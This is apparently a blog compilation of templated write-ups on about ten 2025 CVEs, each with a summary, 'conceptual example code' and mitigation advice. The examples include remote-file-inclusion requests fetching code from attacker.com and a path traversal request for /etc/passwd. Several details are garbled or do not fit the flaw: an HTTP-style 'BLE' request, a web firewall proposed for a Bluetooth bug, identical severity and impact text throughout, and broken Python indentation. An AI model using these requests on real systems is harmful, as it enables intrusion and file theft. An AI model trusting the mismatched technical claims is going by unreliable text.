Author: Ameeba

Overview

The CVE-2025-52802 vulnerability pertains to a missing authorization issue in the ‘Import YouTube videos as WP Posts’ WordPress plugin. This vulnerability poses a significant risk to any website utilizing versions of the plugin up to and including 2.1, as it allows unauthorized access due to improperly configured access control security levels. The flaw’s exploitation can potentially result in system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-52802
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Import YouTube videos as WP Posts | Up to and including 2.1

How the Exploit Works

The exploit takes advantage of a missing authorization check in the ‘Import YouTube videos as WP Posts’ plugin. By exploiting the incorrectly configured access control security levels, an attacker can gain unauthorized access to the system. This can subsequently lead to unauthorized actions such as data manipulation or extraction, potentially resulting in system compromise or data leakage.

Conceptual Example Code

Here is a hypothetical example of how the vulnerability might be exploited:

GET /wp-admin/admin-ajax.php?action=import_youtube_videos_as_wp_posts&target_url=malicious_content HTTP/1.1
Host: target.example.com
Content-Type: application/json

In this example, an attacker sends a GET request to the vulnerable endpoint, `admin-ajax.php`, with a malicious URL as a parameter. Due to the lack of proper authorization checks, the server processes the request, leading to the execution of the attacker’s malicious content.

Mitigation Guidance

To mitigate this vulnerability, users should apply the vendor’s patch. If the patch is unavailable, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching software can also prevent future vulnerabilities of this nature.

Overview

The vulnerability, CVE-2025-52715, is a significant security breach that affects RadiusTheme Classified Listing users. This PHP Remote File Inclusion vulnerability allows attackers to include and execute arbitrary remote files via the PHP script, potentially leading to system compromise or data leakage. It is crucial to address this vulnerability promptly due to its potential for detrimental impacts on system integrity and confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-52715
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RadiusTheme Classified Listing | n/a – 4.2.0

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when an application uses user input to construct a filesystem path that is then included or required by the application. In this case, the inadequate controls within the Classified Listing application allow an attacker to manipulate the filename that is passed to the include/require statement, thereby allowing the inclusion of a file from a remote server.

Conceptual Example Code

The below conceptual example demonstrates how an attacker might exploit this vulnerability using a malicious URL:

GET /vulnerable_page.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the attacker has injected a malicious script (`malicious_script.txt`) hosted on their server (`attacker.com`) into the `file` parameter of the URL. The server then processes the included malicious script, leading to a successful exploit.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the patch provided by the vendor. In the absence of a patch, a temporary solution involves using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block any suspicious activity. Furthermore, it is recommended to disable the inclusion of remote files in the PHP configuration if it’s not necessary for the application’s functionality.

Overview

The vulnerability, identified as CVE-2025-52708, exploits a PHP Remote File Inclusion vulnerability in RealMag777 HUSKY. It allows an attacker to include PHP files from external servers, potentially leading to system compromise or data leakage. Given its severity and widespread potential impact, it is critical that businesses ensure their systems are adequately protected.

Vulnerability Summary

CVE ID: CVE-2025-52708
Severity: High (7.5/10)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RealMag777 HUSKY | n/a through 1.3.7

How the Exploit Works

The PHP Remote File Inclusion vulnerability in RealMag777 HUSKY allows an attacker to manipulate the PHP “include” or “require” statements, which are used to import and execute PHP code from another file. By manipulating the filename for these statements, an attacker can include PHP files from an external server, effectively executing arbitrary PHP code on the victim’s server.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a malicious request like this:

GET /index.php?file=http://attacker.com/malicious_file HTTP/1.1
Host: vulnerable.example.com

In this example, the attacker is attempting to include and execute the file “malicious_file” from “attacker.com” on the victim’s server. If successful, this could lead to a system compromise or data leakage.

Overview

This report details a critical vulnerability, identified as CVE-2025-48705, found within COROS PACE 3 versions through 3.0808.0. The vulnerability, a NULL pointer dereference, can be exploited to force the device to reboot, potentially compromising the system and leading to data leakage. Given the severity of this vulnerability, it is essential that affected systems are patched as soon as possible.

Vulnerability Summary

CVE ID: CVE-2025-48705
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Forced reboot of the device which could lead to system compromise or data leakage

Affected Products

Product | Affected Versions

COROS PACE 3 | Up to 3.0808.0

How the Exploit Works

The vulnerability stems from a NULL pointer dereference within the COROS PACE 3 device. By sending a specifically crafted BLE (Bluetooth Low Energy) message to the device, an attacker can exploit this vulnerability to force the device into a reboot. This can potentially compromise the system, and in worst-case scenarios, lead to data leakage.

Conceptual Example Code

The following is a conceptual example of a malicious BLE payload that could potentially exploit this vulnerability:

BLE /connect/device
Host: target.coros.com
{ "malicious_payload": "NULL_POINTER_DEREFERENCE_TRIGGER" }

A crafted payload that triggers the NULL pointer dereference is sent to the device via a BLE connection. This forces the device to reboot, potentially compromising the system and leading to data leakage.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it is available to mitigate the risk associated with this vulnerability. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. By monitoring network traffic for suspicious BLE messages, these systems can potentially prevent the exploitation of this vulnerability. However, these are merely temporary solutions and cannot replace the necessity of a proper patch from the vendor.

Overview

CVE-2025-49715 represents a significant vulnerability in Dynamics 365 FastTrack Implementation Assets. This vulnerability allows unauthorized attackers to gain access and disclose private personal information over a network. The exposure of such sensitive information could pose serious risks to both organizations and individuals, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49715
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to private personal information, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Dynamics 365 FastTrack Implementation Assets | All current versions

How the Exploit Works

The vulnerability is exploited through the network interface of the Dynamics 365 FastTrack Implementation Assets. An attacker manipulates the system by sending specially crafted packets over the network that cause the system to expose private personal data. This data can then be intercepted and collected by the attacker.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability using a malicious HTTP request:

POST /privateinfo/endpoint HTTP/1.1
Host: target.dynamics.com
Content-Type: application/json
{ "exploit_code": "malicious_packet" }

In this example, “malicious_packet” is a placeholder for the actual exploit code that an attacker would use to trigger the vulnerability and expose private personal information.

Mitigation Recommendations

The most effective way to mitigate this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on suspicious network activity. Regularly monitoring system and network logs for unusual activity can also help in early detection of potential attacks.

Overview

This report details a significant vulnerability in Apache Traffic Server, identified as CVE-2025-49763. This vulnerability affects versions from 10.0.0 through 10.0.5 and from 9.0.0 through 9.2.10. The issue arises from the ESI plugin not having a limit for maximum inclusion depth, potentially leading to excessive memory consumption if malicious instructions are inserted. If exploited, this vulnerability could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49763
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache Traffic Server | 10.0.0 – 10.0.5
Apache Traffic Server | 9.0.0 – 9.2.10

How the Exploit Works

The vulnerability is exploited when an attacker manipulates the ESI plugin by inserting malicious instructions. The ESI plugin, due to its lack of a maximum inclusion depth limit, continues to process these instructions, causing excessive memory consumption. This can lead to a system crash or, in some cases, the execution of arbitrary code.

Conceptual Example Code

POST /ESIplugin/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_instructions": "Insert excessive instructions here to cause memory overflow" }

Mitigation

Users are advised to upgrade to version 9.2.11 or 10.0.6 of Apache Traffic Server, which contain a fix for the issue. Alternatively, as a temporary mitigation, users can apply a vendor patch, or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block the exploit attempts. Furthermore, a new setting for the ESI plugin (–max-inclusion-depth) can be used to limit the inclusion depth and prevent excessive memory consumption.

Overview

This report presents an analysis of the CVE-2025-31698 vulnerability, a flaw that exists in the Apache Traffic Server’s Access Control List (ACL) settings. This vulnerability could potentially lead to system compromise or data leakage. Organizations utilizing the Apache Traffic Server versions 10.0.0 to 10.0.6 and 9.0.0 to 9.2.10 are at risk and thus, must take prompt action to secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-31698
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Apache Traffic Server | 10.0.0 through 10.0.6
Apache Traffic Server | 9.0.0 through 9.2.10

How the Exploit Works

The vulnerability lies within the ACL configuration in the ip_allow.config or remap.config files in the Apache Traffic Server. The server is not correctly utilizing the IP addresses provided by the PROXY protocol. This can allow an attacker to bypass the ACL and potentially gain unauthorized access to the system, leading to possible system compromise or data leakage.

Conceptual Example Code

This is a conceptual example of how the vulnerability might be exploited using HTTP requests:

GET / HTTP/1.1
Host: target.example.com
X-Forwarded-For: malicious_ip_address

Note: In this example, the attacker is using the X-Forwarded-For HTTP header to spoof an IP address (malicious_ip_address) that is not correctly processed by the ACL, thus potentially gaining unauthorized access to the system.

Overview

The CVE-2025-23173 vulnerability pertains to the Versa Director SD-WAN orchestration platform. This report analyzes this critical vulnerability, which poses a significant risk to Versa Director users globally due to its potential for system compromise or data leakage. It is essential to address this vulnerability promptly to mitigate the adverse impacts.

Vulnerability Summary

CVE ID: CVE-2025-23173
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Versa Director SD-WAN Orchestration Platform | Versions prior to remediated software versions

How the Exploit Works

The Versa Director SD-WAN orchestration platform provides direct web-based access to uCPE virtual machines through the Director GUI. By default, the websockify service is exposed on port 6080 and can be accessed from the internet. Attackers can exploit weaknesses in the websockify service to potentially gain remote code execution capabilities.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited could involve a malicious HTTP request to the websockify service. This might look something like:

POST /websockify?token=TARGET_TOKEN HTTP/1.1
Host: target.example.com:6080
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
{ "malicious_payload": "..." }

In the above example, the attacker would replace “TARGET_TOKEN” with the token of the target uCPE virtual machine, and “malicious_payload” with the actual malicious payload designed to exploit the weaknesses in the websockify service.

Workarounds and Mitigation

As a workaround, users can restrict access to TCP port 6080 if uCPE console access is not necessary. Versa Networks recommends that Director be upgraded to one of the remediated software versions. As an alternative temporary mitigation, users can apply a vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS).

Overview

This report highlights the vulnerability CVE-2025-4821 discovered in Cloudflare quiche, which could lead to incorrect congestion window growth. This vulnerability, if exploited, could lead to potential system compromise or data leakage. This report aims to provide an understanding of the severity, attack vector, impact, and potential mitigation tactics of this cybersecurity threat.

Vulnerability Summary

CVE ID: CVE-2025-4821
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Cloudflare Quiche | Versions prior to 0.24.4

How the Exploit Works

An unauthenticated remote attacker can exploit the vulnerability by first completing a handshake and initiating a congestion-controlled data transfer towards itself. Then, the attacker could manipulate the victim’s congestion control state by sending ACK frames covering a large range of packet numbers, causing the congestion window to grow beyond typical expectations and allow more bytes in flight than the path might actually support. In extreme cases, the window might grow beyond the limit of the internal variable’s type, leading to an overflow panic.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

# Begin handshake
init_handshake(target="target.example.com")
# Initiate congestion-controlled data transfer
data_transfer = start_data_transfer(target="target.example.com")
# Send ACK frames with large range of packet numbers
for i in range(1, 1000000):
send_ack_frame(data_transfer, packet_number=i)

This script starts a handshake, initiates a data transfer, and then sends a large range of ACK frames to the victim, potentially causing an overflow panic.

Mitigation Guidance

It is recommended to apply the patch provided by the vendor. The earliest version containing the fix for this issue is quiche 0.24.4. As a temporary mitigation, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection. However, this should not replace the need for applying the patch.

Overview

Path traversal vulnerabilities, such as the one identified in Lychee versions 6.6.6 to 6.6.9, pose a significant threat to data security and integrity. This vulnerability allows an attacker to access local files, including sensitive data such as environment variables, nginx logs, other user’s uploaded images, and configuration secrets. As Lychee is a widely-used photo-management tool, this vulnerability potentially impacts a large number of users and systems, making it a critical issue that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-50202
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Lychee | 6.6.6 to 6.6.9

How the Exploit Works

The vulnerability resides in the SecurePathController.php file of the Lychee application. The flaw allows an attacker to manipulate file paths to access directories that should be inaccessible. By sending crafted requests to the server, an attacker can traverse the directory tree to leak local files, including sensitive data.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This is a hypothetical HTTP request, where “malicious_payload” is the manipulated file path.

GET /path/to/SecurePathController.php?path=../../../../etc/passwd HTTP/1.1
Host: target.example.com

Mitigation

Users of the Lychee photo-management tool are advised to immediately upgrade to version 6.6.10 or later, which contains a patch for this vulnerability. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the risk of exploitation.